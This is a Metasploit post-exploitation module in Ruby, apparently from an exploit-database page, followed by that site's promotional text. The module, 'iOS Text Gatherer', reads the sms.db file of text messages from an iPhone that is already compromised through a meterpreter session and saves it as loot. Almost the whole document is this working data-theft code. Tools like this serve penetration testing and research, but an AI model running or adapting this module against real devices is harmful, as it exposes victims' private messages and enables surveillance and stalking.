##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'iOS Text Gatherer',
'Description' => %q{
This module collects text messages from iPhones.
Tested on iOS 10.3.3 on an iPhone 5.
},
'License' => MSF_LICENSE,
'Author' => [ 'Shelby Pace' ], # Metasploit Module
'Platform' => [ 'apple_ios' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
end
def download_text_db(file_path)
db_file_data = read_file(file_path)
loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
print_good("sms.db stored at #{loc}")
rescue StandardError
fail_with(Failure::NoAccess, 'Failed to read sms.db file')
end
def run
sms_path = '/private/var/mobile/Library/SMS/sms.db'
unless file?(sms_path)
fail_with(Failure::NotFound, "Couldn't locate sms.db file")
end
print_good('sms.db file found')
download_text_db(sms_path)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation